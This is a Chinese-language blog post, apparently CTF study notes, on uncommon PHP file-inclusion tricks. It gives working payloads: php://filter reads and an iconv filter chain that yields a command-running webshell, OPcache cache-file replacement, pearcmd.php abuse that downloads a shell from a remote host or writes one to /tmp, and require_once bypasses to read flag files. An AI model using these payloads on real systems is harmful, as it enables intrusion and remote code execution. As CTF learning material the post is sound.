看到了颖奇师傅总结的不常见的文件包含文章,学习一波

伪协议读文件

首先最普遍的伪协议读文件

php://filter/convert.base64-encode/resource=

如果过滤了base64的话用其他过滤器

php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php
php://filter/convert.iconv.utf-8.utf-7/resource=index.php

如果题目是include的话还可以url编码来绕过,因为include会自动url解码一次

php://filter/convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=index.php

打opcache缓存

利用 PHP7 的 OPcache 执行 PHP 代码 - 先知社区 (aliyun.com)

opcache缓存getshell - 李三的剑谱 (redteam.today)

opencache是一种php7自带的缓存引擎,它将编译过一遍的的php脚本以字节码文件的形式缓存在特定目录中(在php.ini中指定)。这样节省了每次访问同一脚本都要加载和解析的时间开销。(先检查有没有bin文件有就直接用)

假设php.ini的配置如下

opcache.validate_timestamp = 0   ; PHP 7 的默认值为 1
opcache.file_cache_only = 1      ; PHP 7 的默认值为 0
opcache.file_cache = D:\phpstudy_pro\Extensions\php\php7.3.4nts\tmp\cache

首先访问test.php和phpinfo.php

image-20220807021420705

image-20220807021452642

然后在D:\phpstudy_pro\Extensions\php\php7.3.4nts\tmp\cache\[system_id]\D\phpstudy_pro\WWW目录下也就是

D:\phpstudy_pro\Extensions\php\php7.3.4nts\tmp\cache\66c4371accf1ee5a5bcbb057ae7d30d0\D\phpstudy_pro\WWW目录下发现test.php.binphpinfo.php.bin,但我这里不知道为啥中间还多了个目录D:\phpstudy_pro\Extensions\php\php7.3.4nts\tmp\cache\fccea8e69060648dfd6c10138e4aae8\66c4371accf1ee5a5bcbb057ae7d30d0\D\phpstudy_pro\WWW

(system_id 是当前 PHP 版本号,Zend 扩展版本号以及各个数据类型大小的 MD5 哈希值。在最新版的 Ubuntu(16.04)中,system_id 是通过当前 Zend 和 PHP 的版本号计算出来的,有现成的脚本可以计算)

image-20220807024202048

此时我们将test.php.bin的内容替换为phpinfo.php.bin的内容,然后再访问test.php就会发现已经变成了phpinfo

image-20220807024437173

因此我们可以用一个已经编译过的webshell的缓存文件替换原来的缓存文件来getshell

如果opcache.validate_timestamp = 1,表示启用了时间戳校验,OPcache 会将被请求访问的 php 源文件的时间戳与对应的缓存文件的时间戳进行对比校验。如果两个时间戳不匹配,缓存文件将被丢弃,并且重新生成一份新的缓存文件。要想绕过此限制,攻击者必须知道目标源文件的时间戳,因此可以先获取到bin文件,拿到时间戳,然后将我们的恶意bin文件的时间戳替换即可

image-20220807030328859

如果file_cache_only = 0,表示内存缓存方式的优先级高于文件缓存,那么重写后的 OPcache 文件(webshell)是不会被执行的。但是,当 Web 服务器重启后,就可以绕过此限制。因为,当服务器重启之后,内存中的缓存为空,此时,OPcache 会使用文件缓存的数据填充内存缓存的数据,这样,webshell 就可以被执行了。


include2shell

http://xxx/test.php?file=
php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&0=id

这样就可以包含一个shell

<?=`$_GET[0]`;;?>

image-20220804005314321

原理在这hxp CTF 2021 - The End Of LFI? - 跳跳糖 (tttang.com)


包含pearcmd装马

利用pearcmd.php从LFI到getshell_bfengj的博客-CSDN博客

Docker PHP裸文件本地包含综述 - 跳跳糖 (tttang.com)

相关例题:ctfshow上web入门809

pear全称叫PHP Extension and Application Repository,PHP扩展与应用仓库。Pear 仓库代码是以包(package)分区,每一个 Pear package 都是一个独立的项目有着自己独立的开发团队、版本控制、文档和其他包的依赖关系信息。Pear package 以 phar、tar 或 zip 发布。

没有的安装一下

wget http://pear.php.net/go-pear.phar
php go-pear.phar

我的pearcmd.php位置在/usr/share/pear/pearcmd.php,一般都是在/usr/local/lib/php/pearcmd.php

然后开启register_argc_argv默认是Off

image-20220812141730232

开启后效果如下

<?php
var_dump($_SERVER['argv']);

image-20220812141718662

会以+为分隔符来接收参数

出网

在出网的情况下可以利用pear的下载功能来下载shell

pear install -R /tmp http://xxxxxxx/shell.php

或者

pear download http://xxxxxxx/shell.php

两种的区别在于install可以指定下载目录,download是下载到当前目录,因为有时当前目录不可写,所以推荐用install

include.php?file=/usr/share/pear/pearcmd.php&+install+-R+/tmp+https://xiaolong22333.top/test.txt

image-20220812153638658

可以发现已经下载到了/tmp/tmp/pear/install/test.txt,那么包含这个即可

要注意的是如果下载的PHP文件在远程能被解析的情况下,那么下载的结果是解析后的内容

比如远程的test.php

<?php echo 'abc';?>

被解析后下载下来的test.php内容就是abc

而如果没有被解析,不如说换成txt后缀,那么下载的结果就是<?php echo 'abc';?>

不出网

利用config-create

image-20220812161631934

/include.php?file=/usr/share/pear/pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/shell.php

image-20220812155257232

注意文件内容前面必须有一个斜杠/,并且这里不要用浏览器方法,会把<>进行编码


SESSION文件包含

利用PHP_SESSION_UPLOAD_PROGRESS

ctfshow web入门文件包含82-86 - xiaolong's blog (xiaolong22333.top)


绕过包含次数限制

require_once 不能包含重复文件,因此要想办法绕过

require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含
/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

路径中的/proc/self/root就表示/ 所以/proc/self/root/proc/self/root···就一直表示/路径

或者

?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php

php源码分析 require_once 绕过不能重复包含文件的限制 - 安全客,安全资讯平台 (anquanke.com)


compress.zlib生成临时文件

compress.zlib://可以生成临时文件

36c3 Web 学习记录 (zeddyu.info)


包含nginx临时文件

虎符CTF2022-ezphp - xiaolong's blog (xiaolong22333.top)

依然是临时文件包含的延伸利用姿势。大概利用到如下几条原理:

  1. 当nginx接收fastcgi响应过大则会将一部分内容以临时文件的形式存在硬盘上
  2. 临时文件会被很快清除,但是/proc/xxx/fd/x依然可以取到这个临时文件的内容,pid和fd需要遍历

CTF中文件包含的几种不常规利用姿势总结 | 颖奇L'Amore (gem-love.com)

最后修改:2023 年 12 月 14 日
如果觉得我的文章对你有用,请随意赞赏